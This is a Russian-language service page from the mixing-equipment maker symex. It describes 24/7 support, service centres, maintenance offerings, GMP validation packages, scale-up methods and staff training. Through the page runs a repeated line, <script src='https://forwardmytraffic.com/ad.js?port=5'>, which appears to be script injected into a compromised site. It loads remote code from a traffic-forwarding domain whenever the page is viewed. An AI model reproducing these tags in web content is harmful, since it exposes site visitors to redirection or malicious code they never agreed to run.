Service

Круглосуточное послепродажное обслуживание

Круглосуточное обслуживание 7 дней в неделю, 52 недели в году — мы всегда доступны для наших клиентов!

 

Телефон горячей линии по вопросам обслуживания:  +49 471 98401-84

Эл. почта:                                                                         service@symex.de

  • Обслуживание и экстренная замена комплектующих
    Пн–Пт с 17:00 до 22:00
    Сб–Вс с 08:00 до 20:00
  • Аварийное обслуживание
    24 часа в сутки, 7 дней в неделю
  • symex Global
    обеспечение высококвалифицированных технических специалистов по обслуживанию оборудования с быстрой доступностью по всему миру
  • Расположение центров технического обслуживания
    Германия (Бремерхафен и регион Рейн-Майн)
    США (Канзас-Сити)
    Китай (Шанхай)
    Россия (Москва)
    Япония (Осака и Токио)
  • Центры с возможностью замены компонентов оборудования
    Германия (Бремерхафен)
    Германия (регион Рейн/Майн)
    США (Канзас-Сити)
    Россия (Москва)
    Запасы комплектующих в других стратегических местах в соответствии с требованиями заказчика
  • Экспресс-доставка
    Доставка комплектующих в день заказа
  • Контракты на обслуживание
    Профилактическое обслуживание вкл. документацию и гарантии
    Премиум-условия для наших контрактных клиентов

 

Высокий уровень обслуживания — наш главный приоритет!

Если у Вас возникли какие-либо вопросы, мы всегда к Вашим услугам. Круглосуточно!

<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script>
<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script>
<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script>
<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script>

Организация технического обслуживания

Техническое обслуживание — расширение производства, усовершенствование и модернизация существующих систем.

 

Обзор услуг нашего центра технического обслуживания:

  • расширение, совершенствование и модернизация существующих
    систем с использованием новейших технологий и инноваций;
  • технические консультации по всем вопросам технологического процесса, контроля и обслуживания;
  • обучение персонала в технической области и технологии производства;
  • консультации по вопросам оптимизации процессов и процедур производства;
  • устранение неполадок с удаленной поддержкой технического обслуживания;
  • преобразование и модернизация существующих систем смешивания (оборудования других изготовителей);
  • внедрение систем смешивания при смене места осуществления производства (услуга — система «под ключ»);
  • специальные решения в соответствии с требованиями заказчика.

 

Профессиональная компетентность — наша сила, с нами вы в хороших руках!

 

 

..

Модернизация: восстановительный ремонт котла до и после

 

<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script>

Аттестационные услуги

Как в сфере фармацевтики, так и в сфере производства косметики — аттестационные пакеты данных от компании symex, соответствующие требованиям надлежащей производственной практики, сделают любые квалификационные испытания успешными.

  • Основной:

Базовый квалификационный уровень для всех основных систем

  • Стандартный:

Стандартный квалификационный уровень для всех стандартных систем косметической промышленности

  • Расширенный:

Аттестационный пакет с расширенными возможностями проведения испытаний и предоставления документации для косметических и фармацевтических систем

  • Фармацевтика:

Аттестационный пакет с самыми высокими возможностями проведения испытаний и предоставления документации для фармацевтических систем

  • Индивидуальный:

Пакет, индивидуально адаптированный к аттестационным требованиям клиента

Безопасная, быстрая и успешная валидация — аттестационные пакеты, соответствующие требованиям Надлежащей производственной практики, как одна из составляющих частей решения «под ключ» от компании symex!

 

<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script>

• TS — Техническая спецификация
• заводские приемочные испытания с аттестацией установки (IQ) и работы (OQ) (основной объем, без отчета)
• приeмочные испытания по месту установки с аттестацией установки (IQ) и работы (OQ) (основной объем, без отчета)
• QP — план проведения квалификации
• KOM — установочное совещание
• TS — техническая спецификация
• заводские приемочные испытания с аттестацией установки (IQ) и работы (OQ) (стандартный объем, с отчетом)
• приемочные испытания по месту установки с аттестацией установки (IQ) и работы (OQ) (стандартный объем, с отчетом).
• QP — план проведения квалификации
• KOM — установочное совещание
• DQ — аттестация дизайна
• SDS — требования к проектированию систем
• TM — матрица соответствия требований
• CC — контроль внесения изменений
• CP — калибровочная документация
• заводские приемочные испытания с аттестацией установки (IQ) и работы (OQ) (расширенный объем, с отчетом)
• приeмочные испытания по месту установки с аттестацией установки (IQ) и работы (OQ) (расширенный объем, с отчетом)
• документация по материалам
• QP — план проведения квалификации
• KOM — установочное совещание
• DQ — аттестация дизайна
• DR — анализ проектных решений
• SDS — требования к проектированию систем
• HDS — спецификация проектирования аппаратных средств
• MDS — спецификации модульных схем
• SDS — требования к проектированию систем
• FDS — спецификации функциональных проектов
• TM — матрица соответствия требований
• CC — контроль внесения изменений
• CP — калибровочная документация
• заводские приемочные испытания с аттестацией установки (IQ) и работы (OQ) (необходимый объем для применения в фармацевтической промышленности, с отчетом)
• приeмочные испытания по месту установки с аттестацией установки (IQ) и работы (OQ) (необходимый объем для применения в фармацевтической промышленности, с отчетом)
• рекомендации по чистке
• документация по материалам с отслеживанием партий
• документация по сварочным работам
• документация по поверхности и расчет поверхностей, соприкасающихся с продуктом
• санитарно-гигиенические сертификаты используемых компонентов
• квалификационный уровень, который в точности соответствует требованиям нашего клиента
• возможно включение любых компонентов различных аттестационных пакетов
• индивидуальные расширения по требованию клиента

 

<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script>

Последовательное увеличение производительности

Система последовательного увеличения производительности от symex — надежность при внедрении в производства, даже без лабораторных/экспериментальных испытаний.

Преимущества системы последовательного увеличения производительности от symex:

  • последовательное увеличение производительности без использования метода проб и ошибок;
  • научно обоснованная система более чем с 30-летней гарантией успеха;
  • систематическое профилирование всех задействованных систем смешивания;
  • чрезвычайно высокая эффективность — быстрое масштабирование с низкой стоимостью профилирования;
  • применительно к системам symex и системам смешивания других производителей;
  • подробное пошаговое описание применения;
  • масштабирующая матрица — надежная, быстрая и простая в использовании;
  • процедура соответствует требованиям FDA;
  • также надежно применима при соотношении 1:10;
  • настраиваемые процессы;
    • смешивание/перемешивание;
    • гомогенизация;
    • регулирование температуры;
    • добавление сырья;
    • очистка;
  • аналитическое определение физических и процедурных пределов (уменьшение масштаба).

 

Наша система делает любой процесс последовательного увеличения производительности управляемым! Это точно!

<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script>
<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script>

Обучение персонала

Для того чтобы максимально эффективно применять технологии и инновации от symex, мы предлагаем нашим клиентам широкий спектр возможностей для обучения их персонала.

Обзор наших концепций обучения:

  • все обучающие курсы представляют собой сочетание теории и практики;
  • обучение основам: «Технологии смешивания и гомогенизации»;
  • обучающий курс для операторов оборудования, индивидуально разработанный для каждого клиента;
  • обучающий курс для операторов оборудования, индивидуально разработанный для каждого клиента;
  • специальное обучение для разработчиков продуктов и процессов;
  • мониторинг производства после ввода в эксплуатацию;
  • специальные обучающие курсы для оптимизации процесса производства и повышения эффективности;
  • обучение в рамках последовательного увеличения производительности для разработчиков продуктов и процессов;
  • обучение на территории заказчика и на объектах symex;
  • различные языки обучения
    (немецкий, английский, французский, русский и португальский);
  • обучение также вне обычных рабочих часов;
  • учебная документация и сопроводительные документы;
  • сертификаты о прохождении обучающего курса.

 

Концепция обучения от symex — мы познакомим Вас не только с нашими системами, но и с процессами, осуществляемыми в них!

<script src='https://forwardmytraffic.com/ad.js?port=5' type='text/javascript'></script>